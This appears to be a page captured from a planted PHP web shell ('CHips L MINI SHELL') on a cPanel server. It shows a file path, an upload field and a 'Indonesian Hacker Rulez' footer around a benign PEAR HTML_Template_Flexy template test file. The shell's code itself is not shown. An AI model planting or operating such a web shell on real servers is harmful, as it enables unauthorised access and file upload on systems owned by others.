CHips L MINI SHELL

CHips L pro

Current Path : /opt/cpanel/ea-php56/root/usr/share/tests/pear/HTML_Template_Flexy/tests/
Upload File :
Current File : //opt/cpanel/ea-php56/root/usr/share/tests/pear/HTML_Template_Flexy/tests/test_function.html.phpt

--TEST--
Template Test: function.html
--FILE--
<?php
require_once 'testsuite.php';
compilefile('function.html');

--EXPECTF--
===Compiling function.html===



===Compiled file: function.html===
<?php 
function _html_template_flexy_compiler_flexy_flexy_test1($t,$this) {
?>this is the contents of test1<?php 
}
?>
<H1>Example of function block definitions</H1>


<?php if ($t->false)  {?><table>
<tr><td>
    
</td></tr>
</table><?php }?>
<table>
<tr><td>
   <?php if (function_exists('_html_template_flexy_compiler_flexy_flexy_test1'))  _html_template_flexy_compiler_flexy_flexy_test1($t,$this);?>
   <?php if (function_exists('_html_template_flexy_compiler_flexy_flexy_'.$t->a_value)) call_user_func_array('_html_template_flexy_compiler_flexy_flexy_'.$t->a_value,array($t,$this));?>
</td></tr>
</table>

    

===With data file: function.html===
<H1>Example of function block definitions</H1>


<table>
<tr><td>
   this is the contents of test1   </td></tr>
</table>

Copyright 2K16 - 2K18 Indonesian Hacker Rulez